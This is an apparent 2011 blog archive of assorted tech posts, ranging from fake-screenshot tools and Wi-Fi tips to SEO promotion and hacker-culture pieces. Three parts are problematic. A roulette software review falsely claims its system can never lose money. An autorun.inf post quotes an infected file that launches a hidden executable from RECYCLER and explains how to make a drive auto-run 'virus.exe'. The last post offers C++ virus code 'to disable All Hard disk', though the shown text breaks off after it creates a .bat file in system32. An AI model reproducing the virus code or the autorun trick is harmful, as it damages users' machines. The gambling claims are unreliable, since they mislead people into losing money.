2011-10-24T10:50:00.002+05:00

Don’t believe everything you see on the Internet because screenshots can be easily faked. Sometimes these fake images are for pure fun – like you putting your picture on the cover of TIME magazine, sometimes they may be deceptive.

My favorite is Wall Machine – a service that lets you you create fake screenshots of Facebook walls and other Facebook related activity - like X is now a friend of Y or Z changed their relation status on Facebook. Every part of that screenshot can be customized including the conversation text, the profile images and you can have as many comments on a Facebook post as you like.
Another service – iFakeText - lets you make screenshot images of text messages exchanged on an iPhone. Just enter the text of the SMS conversation in a proper format and generate the screenshot –

I also like Fake Tweet Builder for creating screenshot images of Twitter conversations that may or may not have happened. The screenshots of individual tweets look extremely real - and you may also use customize the profile pictures, the name of the Twitter client and how many times a particular tweet has been retweeted.
Ticket-o-Matic lets you print boarding passes of any popular airline, Fodey generates newspaper clippings while Expense Steak creates PDF receipts of restaurant bills and office supplies for a given amount. When you print these receipts on paper, they’ll look real but there’s little potential for misuse as they carry old dates.
Finally, if a web form makes it mandatory to fill the street address or the phone number, use this website to generate random data for putting into that form.

Roulette number review – can a software really beat the odds?

2011-10-23T17:27:00.001+05:00

Roulette number is a software that is based around progressive betting, that is somewhat related to the martingale system. It is a way that ensures you will always end up winning and cover all your previous losses eventually. The bad thing about the martingale and other similar systems is that in order to come out winning in the end, you would have to have unlimited funds and no minimum and maximum bets. The roulette number software avoids that, by utilizing a very unorthodox and yet simple approach. As you are about to learn from this roulette number review, this is probably the only software, that will never lose you money – at worst, you will simply cover your losses.

Is it really possible to win an odds-based game?

Not only is it possible, but it is actually easy, provided that you stick to a working system like this one. Keep in mind that the roulette number software is not a magic wand, but a proven and working system, which anyone who wants can use to be profitable when playing the roulette. Look at it this way – usually, when you play the roulette without any system, you turn out either loosing or winning. With a proven system, like roulette number you will always end up either winning, OR just clearing your losses.

One of the most shocking things is how much ‘hidden’ information there is on a simple game like the roulette. On first glance, it might seem that it is simply a chance-based game, and you either win or lose, based on your ‘luck’. There are literally principles, that you can apply, which will always make you profitable in the end. Most people however, do not know about those principles. They are the elusive obvious.

A common flaw of most roulette systems is that they only work with odds higher than 1 in 37. If you play using martingale for example (which is rarely possible today, because of some added rules to the game), and you assume your odds will be 1 in 37, you would not be profitable, because in order to just cover your losses, you would have to bet millions. That’s where the roulette number software comes in – it is a way to maximize your chances of winning exponentially, by following an extremely simple system that is proven to work, as you have learned in this roulette number review.

How to: Create Strong Passwords using your Favorite Song

2011-10-18T14:42:00.001+05:00

Google today launched a new microsite – Good to Know – with tons of useful advice on how you can keep yourself safe on the Internet. Another section - Jargon buster – has Google engineers trying to explain technical terms like cookies, search logs, interest-based advertising, etc. in simple English.
One idea I particularly liked is that you can create strong but memorable passwords using lines from your favorite song or even a famous movie quote.

Try is to choose a line from your favorite song, film or play, like “To be or not to be: That is the question.” Then use numbers, symbols and mixed-case letters to recreate it: “2bon2bT1tq” is a password with quadrillions of variations.

How to Easily Transfer Files Across Cloud Services

2011-10-15T08:02:00.001+05:00

Cloud storage services like Google Docs, Dropbox, Amazon S3, etc. have made it easy for you keep your important files and documents online. These services are mostly free and you can have multiple accounts on them as long as you use separate email addresses.
This leads to another problem though. When you have files spread across multiple cloud services, managing them can be challenge. You may have stored one group of files on Dropbox, the other on Google Docs while some of the older files could be hosted on your old Google Docs account that you abandoned long ago.

Would it be nice if there were an easy to way to manage / search all your online files from one place without having to download them to the computer first?

Meet Otixo – an impressive web-app that lets you access files stored across different cloud service from a central location. To get started, you associate your Dropbox, Google Docs, Picasa, Amazon S3 and other online accounts with Otixo and then you can easily move or copy files between any of your accounts via simple drag-n-drop.
Otixo supports FTP so it can also be used to directly transfer files from any FTP server to Google Docs or Amazon S3 without having to write complicated scripts. You can even add multiple accounts from the same cloud service - like your old and new Google Docs accounts – and transfer file across these accounts easily.
Otixo offers unified search to help you quickly find all your files that are otherwise spread across multiple cloud services. You can delete files, create new folders, or upload files from the desktop to any of the associated cloud services. Everything just works. [via Netted]

Boost your Wi-Fi Signal with an Empty Can of Coke

2011-10-13T13:58:00.001+05:00

A piece of Aluminum foil is probably the easiest and cheapest way to boost your Wi-Fi signal.
You just need to position the foil behind the antenna of your wireless router and the curved foil will then direct the Wi-Fi signals in your preferred direction thus boosting the overall signal strength.

Other than using an Aluminum foil, as Kim Komando explains in the following video, you may also make your own Wi-Fi extender at home using an empty can of beer or soda.
The cans are obviously more sturdy than the foil and the can’s lid acts as a stand but you need to be a bit more careful while cutting the can’s body with that knife. Also make sure that the can’s inner body is completely dry before you slip it into the router’s antenna.

Increase Wi-Fi Range with a Beer /Soda Can

Create a Digital Magazine with your favorite Web Content

2011-10-12T18:37:00.001+05:00

Themeefy is another impressive tool for curating online content but it takes a slightly different approach - instead of creating a single page with all your web snippets, Themeefy compiles everything into a beautiful magazine that resembles a flip book -
You may either use your mouse buttons or the arrow keys on the keyboard to flip through the pages of the magazine. The Themeefy player, like the new SlideShare, is rendered using HTML5 and hence your curated magazine can be read on tablets too (no Flash required) though you would miss the page-turning animations.

There are two ways to clip content with Themeefy – you can either use the bookmarklet to clip snippets of any web page or they have a drag-n-drop interface, similar to Storify, that can pull content directly from standard sources like Wikipedia, YouTube, Flickr, Twitter and Facebook.
If your “magazine” has too many pages, viewers can make use of the index page to directly jump to any particular section. You may also embed the magazine to other sites using the standard HTML code though it won’t let you change the size of the embedded player.
Themeefy is currently free but, according to founder Titash Neogi, they do plan to have paid version as well with certain premium features like new themes and additional publishing options. You may sign-in now using your existing Facebook or Twitter account.
Here’s a quick video demo of a flipbook magazine that I created using Themeefy.

Build Your Own Internet Archives With Bo.lt

2011-10-12T18:32:00.001+05:00

Web pages change, or may even disappear, with time and thus the only way to preserve a page forever is that you manually download a copy of that whole page to your computer. There are multiple ways to archive web pages so lets quickly recap the popular options.
If you are trying to save a page that is mostly text, services like InstaPaper or Read It Later are pretty good. Mobile users may email the page URL to mypdf@joliprint.com and get it back as a PDF file. Desktop browsers offer a “Save Web Page” feature to help you download the complete page including images. Then there are extensions, Scrapbook for example, that can also save whole web pages for offline reading.

The Problem with Web Archiving Tools

The above options seem to work well but the only problem is that they aren’t always good at saving exact copies of a web page. They do download the images, JavaScript and CSS files associated with a page but try re-opening that saved page in your favorite browser and you’ll know the difference.
If you are therefore looking for a better tool to archive web pages, one that saves everything and doesn’t mess with the formatting, check out bo.lt. Just put the URL of any web page, hit the Copy button (or use the bookmarklet) and, within few seconds, an exact replica of the original page will get saved to your online account.

Your Personal Internet Archiving Machine

Once you have saved a page to the bo.lt cloud, a thumbnail of the page appears in your collection but you can also download a copy of that saved page to your computer as a ZIP file. For that, go to the details section and hit the download button as shown in the above screenshot. You can also capture multiple snapshots of the same page at different intervals just like the Internet Archive’s Wayback Machine.
To be fair, bo.lt is more than just an online tool for archiving web page – it lets you visually edit saved pages in the browser, remix them with pictures and comments, and republish. It mirrors all the images, CSS and JS files referenced in a page so even if the source disappears, your copy will continue to look like the original.
One more thing. You may also use Bo.lt to save and archive web pages that require login – like your Facebook page. This is much better than capturing screenshot images.

Bottom Line Benefits of SEO

2011-10-12T09:41:00.001+05:00

Have you been thinking about launching an SEO campaign for your business website? If so, then you've been thinking about making a great choice for your company's bottom line. While it's not talked about very often, SEO is actually one of the most effective ways to boost traffic to your site and promote your brand to thousands of people on the internet. This technique is employed by every large company worth its salt, from the big dogs like Microsoft and Overstock, all the way down to local businesses in your area. If you're a little unclear on how SEO can help you, then read on for a short list of benefits that this service can provide.

If you're in the Atlanta area, then SEO companies in Atlanta can help to establish an online presence for your brand. Put simply, if you don't have a website, or if you have a website that's not very well known, then you're missing out on all of the people that are searching online for the product or service that you provide. Or in other words, if you sell cleaning services in Atlanta, then you're not getting the thousands of people that are searching for your business every single month. An SEO campaign will help to boost your website's visibility in the search engines. Search engines are what people use when they're looking for something on the internet, so in our previous example, if someone searches for "cleaning services in Atlanta" and your website isn't on the first page of the results, then that person won't see you, and you've lost a sale. How many sales have you lost because your website isn't showing up in a search result? More than you think!

Along the same lines, an effective SEO campaign will drive more traffic to your website. With a better-ranking site in the search engines, more people will be visiting it and learning more about your company. And the more people that look at your website, the more people will call you up or send a message asking about your service, which you can follow up on and turn into a sale. If nothing else, you'll have placed your name and brand into the mind of that person, and if they decide that they need a service like yours in the future, they'll remember you from seeing you on the internet, and they're more likely to call you up.

In addition to establishing a web presence and driving more traffic and sales, SEO companies in Atlanta will help you track what's working and what needs to be changed on your website. These professionals know what kinds of words, layouts, and images will work best for your company, so if your website isn't quite optimized for making sales, they will offer suggestions to help make it better. If you've been thinking about hiring a company to do some SEO on your website, then what are you waiting for? Find a list of SEO companies in Atlanta and start calling them!

Best Articles Portal

2011-10-09T14:12:00.002+05:00

Hello dear users,

Today I found another great Article directory where you can publish your articles without any ristriction and waiting for approvel of your article.

So visit and join now Best Articles Portal.

Google Analytics Adds Real-Time Traffic Data

2011-09-30T16:45:00.001+05:00

Google for the first time is providing a window into real-time web traffic with Google Analytics Real-Time.
Real-Time reports are available in the new version of Google Analytics, and administrators with Analytics accounts will get Real-Time reports. Google turned the new feature on Thursday for “a number of you,” John Jersin, product manager at Google Analytics wrote on the Google Analytics blog.

For users trying to gauge how a campaign or post is performing, Real-Time will track the immediate impact to site traffic. If a user posts something and then tweets about it, for instance, Real-Time will track when traffic from the tweet stops driving visits.
Google isn’t the first company to offer such data. Woopra, Chartbeat and a number of other tools also provide data in real time. But unlike some of those, Google’s will be free.
Speaking of which, Google also rolled out Google Analytics Premium, the first paid Google Analytics product. Perks for the service include extra processing power, advanced analysis and 24/7 support for $150,000 a year.

Apple iPhone 5 Launch: Here’s What to Expect

2011-09-28T12:05:00.001+05:00

T he iPhone 5 is coming. This is no rumor, no guesswork, no fuzzy photo taken by someone allegedly holding an iPhone 5 prototype. Apple has set the date and the place for a real product launch.
Okay, I am getting ahead of myself a bit. The invite does not explicitly mention an iPhone 5. It just promises we’ll talk about the iPhone. Yes, a nice little chat with me, Apple CEO Tim Cook and a few hundred of our closest friends at Apple’s Cupertino campus. There’ll be coffee and Danish. It’ll be cozy.
What else can we expect on October 4? Here’s the shortlist:

A Major Redesign

Shortly after Apple unveiled iOS 5, the cloud-friendly operating system that will soon reside inside current and future iPhones, there was speculation that the iPhone 5 would look almost exactly like the iPhone 4. The innards would be different, but most people could simply swath iPhone 5’s in the same cases as their previously adored iPhone 4’s.
But soon enough, some eagle-eyed folks spotted new iPhone cases that would in no way house current iPhones or the doppelganger iPhone 5. Answer? The iPhone 5 will be radical design departure. Some believe it will be thinner, or perhaps tapered. Others insist it will be wider.

Personally, I love the current design. I know, antenna attenuation nearly ruined the initial iPhone 4 launch, but my Verizon model moved the antenna bar breaks around and I rarely, if ever, lose signal. Plus, I don’t want a wider phone (read “bigger”) phone.

A Faster Phone

Duh! Even if we didn’t know about the A5 chip, Apple’s custom dual-core CPU, why would Apple do a major product launch without raising the performance bar? We rely on our smartphones to do more every day; they simply have to get more powerful—as any good computer should, under Moore’s Law. Apple will also likely increase the amount and quality of RAM—which always has a big impact on performance. These changes will be necessary if Apple does some of the other things we’ve been speculating about.

Better Screen and Cameras

Apple’s Android competitors outshine the iPhone in the camera resolution and screen size department. On the latter, Apple’s retina display is smaller than many slab Android phones, but often approaches or beats them in resolution. If Apple goes with a larger screen, 8 megapixel camera and full 1080p video recording, it’ll need more horsepower to support all of them. The bigger screen, in particular, will also demand more battery power. Apple’s been very careful about battery life (it’s why it fought so long and hard against multi-tasking) and it may have to increase battery size and capacity to support a larger retina screen.

Voice Recognition

I’ve used Google’s voice-enabled search app on the iPhone and it is quite good. Some pundits believe the iPhone 5 will come with native voice recognition, which means other iPhone apps can tap into this capability for a variety of nifty interactions. Apple did acquire voice-based personal assistant service Siri last year, and hasn’t done much with it yet, at least not publicly. Talking into your phone is natural, so what’s not to like about native voice recognition?

4G or Not 4G?

I guess I’m alone in this, but I don’t give a rat’s behind about 4G on my phone. My Verizon iPhone does just fine with its 3G data connection. However, I don’t think Apple can ignore the consumer clarion call forever. These people want 4G (look at all the 4G Android phones they’re snapping up). I can’t say their battery life is worth much, but at least they have a good time surfing YouTube videos while the charge lasts. Apple could do LTE 4G, the premier option, but only if it’s convinced there’s enough quality 4G out there. I’d say there is and the phone will ably dumb down to 3G anyway.
If Apple does go 4G, however, it’s a good bet the iPhone 5 will be larger than the eminently pocketable iPhone 4. 4G needs an ample battery for a full day’s use. Big batteries make for bigger phones.

No Shopping

Back when Google introduced Google Wallet, a technology for turning one NFC-enabled phone (the Nexus S 4G) into a wallet/credit card, there was a speculation that companies that weren’t included in the deal — such as Visa — might hook up with Apple. All Apple had to do was put an NFC (Near Field Communication) chip inside the iPhone 5 and the rest would be easy. Now, however, Google has managed to sign up Visa for Google Wallet as well. I’m not certain Apple will see any value in the added cost of an NFC chip when there are no clear partners, and even less certainty that consumers are ready to start paying with their phones.

More Carriers

Apple now has both CDMA and GSM phones. Ubiquity is how to play the competition game. I expect Apple to welcome at least one new carrier partner to the table. My money is on Sprint (which, like Verizon, uses CDMA). T-Mobile is out. AT&T is trying to buy them and it’s clear Apple wants any part of that mess.

iPhone 4S

Sprint may not get the iPhone 5, however. Since I do expect that to be a 4G phone, my guess is that Apple goes with Verizon and AT&T as the first two carriers. Sprint will get a different phone, the lower-powered, still 3G, iPhone 4S.
These are merely my predictions. The only thing I can guarantee is that Apple will have an event next week on Oct 4th at 10 A.M. There will be coffee. There will be Danish. There will be an iPhone 5.

Hide the Past Before Opening your Facebook Profile to Subscribers

2011-09-28T11:58:00.004+05:00

You have been using Facebook all this while to share pictures and other personal stuff with your close friends and suddenly, Facebook added the subscribe button that is enticing you to open your personal profile to the outside world.
You are however concerned that doing so might expose some of your old activity on Facebook to non-friends. Maybe you shared an embarrassing video on your Facebook profile two years ago that friends may find interesting but it is something you’ll definitely want to hide from your new subscribers.

To prevent such a situation, you may either carefully review the privacy settings of every single thing that you have ever shared / written on Facebook or you can choose to play extra safe and make all your past activity visible to “friends” only before opening the profile to public subscribers.

Limit Past Activity to Friends

How you do this is easy. Open the Privacy Settings page of Facebook and under the “Limit the Audience for Past Posts” option, choose “Limit Old Posts.” Now all your old Facebook posts / shares that were “public” before will change to “Friends” only.

A Better Way to Report Spam Profiles on Twitter

2011-09-28T11:57:00.003+05:00

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f you ever come across a Twitter profile that you think is spam, you can either block the user from replying to your tweets or you can use the Report as Spam button and someone from Twitter’s safety team will possibly review that account.
When you report an account to Twitter, it won’t tell you a thing about the status of your request but there’s a new tool called Later, Spam that keeps track of your spam reports and will let you know whenever a spammer’s account, that you reported, get deactivated by Twitter.

The only limitation – you need to report spam to Twitter through the Later Spam site itself and it will let you report profiles that have recently mentioned you in their tweets. You can’t report any random Twitter profile as spam through Later Spam.
A commenter on Boing Boing does however make an interesting point on why report spam profiles on Twitter may be a waste of time – “Spammers set up new accounts constantly, and Twitter doesn't seem to have a strategy for dealing with the problem”

How to Copy-and-Paste Multiple Text Snippets

2011-09-26T06:00:00.001+05:00

How many times have you copied-and-pasted the wrong data? How many times have you copied-and-pasted a snippet for later use again as you continue to copy-and-paste other snippets? Are you tired of the multiple steps involved in the one-tier function in Windows? Here are a few tips on copying-and-pasting multiple data or text sets.

The Control or CTRL Key is Key

For computer geeks, holding down the CTRL key for multiple choices from a list is nothing new. However, did you know that holding the control key while you highlight then copy then highlight then copy a new data set, ad nauseum, will allow you to copy all snippets on a page and paste all of them en masse?

Single Page

For example, place your mouse at the beginning of this sentence. Press and hold the CRTL key then click and hold your mouse primary key as you scan over the entire first sentence.

While still holding the CTRL key, click C, continuing to hold that critical CTRL key down.

Next, move your mouse to the beginning of this sentence, click and hold the mouse as you highlight it. Then press C again.

Now, open a notepad or other blank document, release the CTRL key and move your mouse to an open space on your document. Press and hold CTRL again, then press V and release.

On your document, you should read, “For example, place your mouse at the beginning of this sentence, Next, move your mouse to the beginning of this sentence,” or the fragments you did copy.

The CTRL+C is “copy,” and CRTL+V is “paste,” again, nothing new. But joining the CTRL function for “multiple choices” with the copy and paste functions allows multiple snippets to be noted, copied and pasted all in one fell swoop, so to speak.

You save time and effort in your research, compilation and just having fun.

Multiple Pages or Multiple Uses

If you want to copy-and-paste information from multiple pages or store multiple bits and snippets for repeated use, you can create a document file for them, or you can use a Clipboard Manager software program.

For example, ClipMagic allows unlimited cached storage, but it costs money. For those watching budgets, freeware packages are also available.

Tenclips allows, yes, ten storage caches of copied text. While it has a lesser cache capacity, it's also free, which more than makes up for the unlimited status of ClipMagic. Fully programmable with hot keys, the only restriction noted is that when you are designating in which bucket to store something, you cannot use the keypad to the right of some keyboards. You must use the number row above the letters. For those laptops and notebooks that don't have the keypad, it's simply “business as usual.”

ClipX is also a multi-cache software package, but it has lesser capacity than Tenclips, and user reviews are lukewarm at best.

Don't waste time with individual snippets. Don't lose copied text accidentally. Use the multiple-copy function with the held-CTRL key or use a reliable clipboard manager to save effort, time and aggravation.

Post contributed by Holly Miller, a writer for Coupon Croc, the best place to find John Lewis promos to save on all of the latest technology and gadgets online.

Lower Google Rankings Might Increase The CTR?

2011-09-18T10:03:00.001+05:00

Yep, you’ve read that right (and yep, I haven’t done a mistake in the title). Surprising as it sounds, the Chitika blog recently published a research suggesting that the lower your Google rankings the higher the CTR you’ll see on your ads.

Here’s the link to the article: Google Results, Positioning, and CTR: Not What You’d Expect.

If you think about it, though, there’s some logic there. People clicking the lower results listed by Google are probably clicking on all or most of them (i.e, they are trying harder to find the information in question). That’s why they are also more likely to click on ads (i.e., they are on “click” mode).
Does that mean that you should aim to get your site on those lower results, though? I don’t think so. Even if the higher spots will have a lower CTR they will have a much higher traffic, so the overall earnings will be much higher as well.
The Chitika blog, though, affirms that even taking traffic into consideration things might not be as clear. For example, they say that if the cost (either in terms of money or time invested, or both) to reach the 2nd spot is 50% of what you would need for the 1st spot your ROI would be superior going for the 2nd spot.
I am not quite convinced, but it’s an interesting discussion.

[VIRAL VIDEO] Sweet Elderly Couple Tests Their New Webcam [VIRAL VIDEO]

2011-09-18T09:59:00.002+05:00

This video is quickly going viral, showing an older couple checking out their new computer, not aware that their webcam experimentations are being recorded.

While we marvel at their obvious mutual love and respect for each other, it brings up the question: How do we show our parents and grandparents how to use technology? Are they getting better at it? Do they need our help, or would some good documentation do the trick?

Mosy Bites blog

2011-09-17T12:04:00.004+05:00

Hello dear users,
Today I found another blog for you and want to tell you about it.
The Mosy Bites blog

Where you can find humour plus lively political and social comment on events and life in general.
I hope you enjoy this blog so visit now @ http://mosybites.com/
and also follow for new and interesting things.

Tools that Detect Changes on your Favorite Web Pages

2011-09-13T00:17:00.003+05:00

I use a web monitoring software that tracks a list of web pages (URLs) at set intervals and alerts me whenever content is added or deleted from these pages. In the above case, the monitoring utility was watching a page on google.com and the moment Google uploaded the new numbers, I got an alert on my desktop.

Tools for Monitoring Web Page Changes

The utility that I have on my Windows machine is called Website Watcher from Aegnis.com – a single-user license for the basic edition of Website Watcher is about €30 and it supports all types of web addresses including secure http and ftp based URLs.
A web monitoring tool, in simple English, works something like this. You specify the address (URL) of a web page that you would like to track and how frequently the tool should ping the given page to determine if the content has changed.
In the case of Website Watcher, you can also visually specify the portions of a page that should be ignored for tracking (like the sidebar or the footer). Later, if the tool detects that a page has changed, you can compare the before and after versions of the page side-by-side and, like any other diff tool, the changed text is highlighted for quick comparison.
Website Watcher works well but if you are looking for a free alternative, check out NotiPage. This is again a Windows-only utility for monitoring web pages with basic monitoring features except for one limitation - NotiPage only highlights the new content that has been added to a page but you won’t be able figure out what has been removed from a page.
If you are monitoring a page that follows a regular pattern – like a Google Search results page where all the different results are rendered as a pattern using a similar set of HTML tags – you may also use Google Docs as a page monitor. You essentially scrap the page content into Google Docs with the help of ImportXML function and then track changes through RSS. This does however require some knowledge of XPath and CSS.
Versionista is another awesome web-based tool for tracking web pages. It lets you compare the two versions of a page side-by-side and thus you can know what has been added, or removed, from a page since you last viewed it. Versionista also lets you apply regular expression based filters to help you specify what kind of page edits should be ignored by the tool during the comparison.

A Man Just Acquired Hard Drive full of Apple Secrets Documents

2011-09-04T08:06:00.001+05:00

This sound weird, but it's the truth. One of Apple Store Geniuses just handed over to a customer, a complete Time Machine backup of the Apple Store’s internal file server, filed with highly classified/confidential Apple Store documents.

This man went to Apple Store to fix his Time Capsule and the Apple Store's Genuises after repairing the Time Capsule, accidentally gave him the hard drive believing it was his old dead hard drive.

When he got home and plugged the HDD into a USB to see if he could retrieve his old files, he saw something else..... a working disk containing a Full Time Machine Backup of Apple Retail Store Server, packed with highly classified documents dating from late 2009 to May 2011.

“confidential docs, internal manuals, Apple’s sales technics, an Apple store work checklist, products layout, time schedules, pictures and videos of Apple corporate activities that only Apple employees can see, videos of store meetings, business structure and much much much more.”

According the Cult of Mac, the unidentified tipster contacted them (Cult of Mac) and offered to hand over the hard drive to them if they could pay for it, but they rejected the offer, saying they do not pay for stories, confidential informations, iPhone prototypes etc. and advised him to return the hard drive to Apple.

Below are some screen shots of the files the man found on the hard drive, trust me they are for real.

The volumes in question were called “/Volumes/apple store/Backups.backupdb/teamserver/2009-11-23-095346/HD1/Server Users” & “/Volumes/apple store/Backups.backupdb/teamserver/2011-05-18-141707/HD1/Users/admin”.

How to compress 1 Gb data to 10 mb

2011-08-24T21:02:00.001+05:00

Many times our hard disk runs out of space and we have to delete some data or the other for no reason. Even I used to face the problem sometime back in history and by doing some research on the topic, I actually found a working and an awesome way to save my hard disk space.

How effective is it?

Well by this method I converted NFS UNDERGROUND 2 which is somewhat around 2 Gb tb 21 Mb. And same is the case with everything important I wanted to save.

How did I do it?

You are just about to know… Read on.

I used a software named KGB Archiver.

About KGB archiver: KGB Archiver , an open source compression tool like 7zip and UHARC with an unbelievably high compression rate .It uses AES-256 encryption (one of the strongest encryption known for man) to encrypt archives . The disappointing thing with KGB Archiver is due to its high compression rate its minimum hardware requirement is high ( recommend processor with 1,5GHz clock and 256MB of RAM ) and compression and decompression process is time consuming.

Its strength: Very high compression power with very accurate results and no loss of data.

Its weeknss: Due to high compression , the time required to compress and decompress the file is high. High system requirement

From where can you download this software.?

Just click on the link given to Download KGB archiver for free.

Click Here to Download KGB Archiver for free.

5 Things Every Beginner Hacker Should Know

2011-08-24T20:58:00.001+05:00

Hey guyz, today at http://hacking-information.blogspot.com/ we are going to discuss “5 Most Common Mistakes Done by Beginners in the field of Hacking“ or we can say “5 things Every New Beginner Hacker Should Know”.

This post is for everyone out there who actually want to become a true hacker:-

1) Never trust sites that ask you for money in return of Hacking Softwares or who claim to Hack Email Id’s in return of money. All such things are Scam . Nothing Works.

2) There is NO DIRECT SOFTWARE to Hack Facebook , Google , Yahoo or any other big website. All the softwares that claim to do so are scam. They are just meant to take your money and in worse cases, those softwares have trojans or keyloggers in them. As a result your account gets hacked trying to hack others.

3) NEVER EVER use the keyloggers or trojans you find as freeware on internet. Hackers are not fools. They compile keyloggers and trojans almost with any such software and when you install them , you are already hacked before even trying to hack others.

4) You are never going to be a good hacker without the knowledge of programming and scripting languages. When you are going to use only ready made softwares and would depend on them for hacking anything then your functionality would be limited upto the functionality of the software. When you are not going to use your brain , just doing the copy paste thing, then how can you even think of being a good hacker.

5) If you are a good Hacker, you already become a good programmer , a good script writer , a good web developer and an excellent security expert. Well any good Hacker will/should have good knowledge of various aspects and programming languages. to do XSS (Cross Site Scripting ) , PHP INJECTION , SQL INJECTION , PHISHING , FOOTPRINTING etc… you will have to be good at programing and scripting. And when you know the Various loop holes , vulnerabilities and security tips, you already become a Computer Security Expert.

So Never Ever Under estimate the term Hacker. A Hacker Is Not a person who just hacks email id’s or servers but a True Hacker is a Computer Genius who the knowledge of computers more than anyone.

Next time think before asking the question – “How much Will I get in this field?” because, if you have so many skills , you really don’t have to run after money. Success comes and money follows itself.

What is l33t or Language Used By Hackers

2011-08-24T20:54:00.001+05:00

Hey Guys , today I want to tell you something from the Hackers World. This is something not everyone is aware of. Today I am going to tell you about l33t.

Do you know what is “leet” or “l33t”?

Any idea?

Just read on..

According to Wikipedia:- Leet (or “1337″), also known as eleet or leetspeak, is an alternative alphabet for the English language that is used primarily on the Internet. It uses various combinations of ASCII characters to replace Latinate letters. For example, leet spellings of the word leet include 1337 and l33t; eleet may be spelled 31337 or 3l33t.

Hackers communicate between themselves in a language which is a combination of alphabets, numbers and symbols etc… This 1337 is very famous in the hacking and internet world. We can say that it is the language used by hackers.

GOOGLE PAGE OF 1337 OR LEET

The reason I am writing this post is that I found a dedicated page on Google on “1337″ or “leet”. I am giving you guys the link to it.. Just follow the link below

http://www.google.com/webhp?hl=xx-hacker

How to Learn Leet or 1337

If you want to learn the Hacker’s Language ie.. Leet then just follow this table on Wikipedia. It has the complete reference guide for it.
http://en.wikipedia.org/wiki/Leet

Leet Converter

I am also providing you with a link to Leet converter. You just have to type your text in English and the converter will itself convert the text into leet for you. You can also control the extent of leet you want. To learn more, just visit and check yourself. Click on the link below to visit the page

http://www.albinoblacksheep.com/text/leet

Though there are many converters online, but I found this one to be the best one.

So, how many of you actually knew that..:P

Anyways thats all for today.

I hope you liked it.

5 Ways to Check if you are Hacked

2011-08-24T20:47:00.001+05:00

In this post I am going to tell You 5 ways in which you can check if you are hacked.

Just follow along and check all the steps, you might also be one of the victims.

NOTE:- Before doing these steps, close all the downloads and web pages. Make sure on torrent of window update install is going on but stay connected to internet.

1) The first method is very simple for all the people using an ADSL router. After all the internet downloads are closed, just check the status of Ethernet light. It should not blink at a very fast rate. It shows that packets are being transferred in and out of your computer.
But as there is no active download or internet activity so no packets should transfer. If so… you might be hacked

2) goto run and type cmd. The command prompt will open. In the command prompt type

netstat -a

This shows the list of active internet connections, check if any unnecessary internet connection is ESTABLISHED. If so, you might be hacked if you type just netstat, you will get the list of all the netstat commands, you may try the other commands as well.

3) You notice any abnormal activity in your computer, like your computer hangs for a couple of seconds every time you switch it on or in between your tasks (if it occurs often), there is a chance that you are hacked. Often keyloggers and trojans are configured to deliver all the log information to the destination ip address/ ftp address after reqular interval of time. And when this information is being sent, the browser hangs for some time.

4) Use softwares like TCP view, it gives the list of all the connections made through TCP. This software is capable of detecting almost all the trojan/malicious connections.

5) Keep the antivirus updated and install an external firewall like comodo. If your antivirus is not updated regularly, it is as good as nothing. If you don’t update your antivirus reqularly and often exchange data from other computers and download a lot of files. There is a great possibility that you are hacked.

Beware!! Stay updated, stay Protected.

Hacking Autorun.inf virus attack|Is autorun.inf virus?

2011-08-24T20:30:00.001+05:00

When i studied second year(cse), my friends told that autorun.inf is virus. I thought so. Because my antivirus blocks autorun.inf files. In third year when i search about autorun.inf file in net, i realize about the auto run file.

Today i bring some files from my college system. When i insert the pen drive in my system, there are lot of exe files.They are viruses. I delete all of them. Finally i opened the autorun.inf file in notepad and saw the instructions. Then only i remembered that i forget to post about autorun file. This article will give you complete details about the autorun.inf file.

This is the instructions that saved in the infected(call virus programs) autorun.inf file:

[Autorun]
Open=RECYCLER\QqFvXcB.exe
Explore=RECYCLER\QqFvXcB.exe
AutoPlay=RECYCLER\QqFvXcB.exe
shell\Open\Command=RECYCLER\QqFvXcB.exe
shell\Open\Default=1
shell\Explore\command=RECYCLER\QqFvXcB.exe
shell\Autoplay\Command=RECYCLER\QqFvXcB.exe

is autorun.inf virus file? no. Then why antivirus block the autorun.inf files? Go ahead to know the full details about auto run file.

Introduction to Autorun.inf File:

Auto run is file that triggers other programs,documents ,other files to be opened when the cd or pen drives are inserted. Simpy triggers.

When cd or pen drives are inserted, windows will search for the autorun.inf file and follow the instructions of autorun.inf file(instructions have written inside the autorun.inf file).

How to create Autorun file?

Open notepad
type this command:

[Autorun]

save the file as "autorun.inf" (select all files, not text )

Complete Syntax and instructions inside the Autorun file:

Basic syntax must be inside the autorun.inf file is :

[Autorun]

This will be used to identify the the file as autorun.

OPEN=

This will specify which application should be opened when the cd or pen drive is opened

Example:

open=virus.exe

This will launch the virus.exe file when cd or pen drive is opened. The file should be in root directory.

if the file is in any other sub directories ,then we have to specify it.

Open=RECYCLER\Virus.exe

Explore=

Nothing big difference. if you right click and select explore option in cd or pen drive. This command will be run.

AutoPlay=

Same as the above , but it will launch the the program when auto played.

SHELL\VERB =

The SHELL\VERB command adds a custom command to the drive's shortcut menu. This custom command can for example be used to launch an application on the CD/DVD.

Example:

shell\Open\Command=RECYCLER\QqFvXcB.exe
shell\Open\Default=1
shell\Explore\command=RECYCLER\QqFvXcB.exe
shell\Autoplay\Command=RECYCLER\QqFvXcB.exe

Use a series of shell commands to specify one or more entries in the pop-up menu that appears when the user right-clicks on the CD icon. (The shell entries supplement the open command.)

Icon=

Change the icon of your pen drive or cd. you can use .ico,.bmp images(also .exe,.dll)

Example:

icon=breakthesecurity.ico

Label=

Specifies a text label to displayed for this CD in Explorer

Note that using the LABEL option can lead to problems displaying the selected ICON under Windows XP.

Example:

Label=Ethical hacking

Why Antivirus Block Autorun.inf file?

From above ,you come to know that autorun.inf file is not virus. But why antivirus blocks it? Because as i told autorun file call or launch any application or exe files. It will lead to virus attack. If the autorun.inf is blocked,then there is no way to launch the virus code.

Autorun is not virus but it can call virus files.

C++ ,Batch Virus code to disable All Hard disk

2011-08-24T20:25:00.001+05:00

Hi friends,here i give you give the C++ virus code. Actually Batch code is converted to C++ virus code. If you like you can use it as batch code also.

C++ Virus Code :

#include < windows.h >

#include < fstream.h >

#include < iostream.h >

#include < string.h >

#include < conio.h >

int main()

{

ofstream write ( "C:\\WINDOWS\\system32\\HackingStar.bat" ); /*opening or creating new file with .bat extension*/

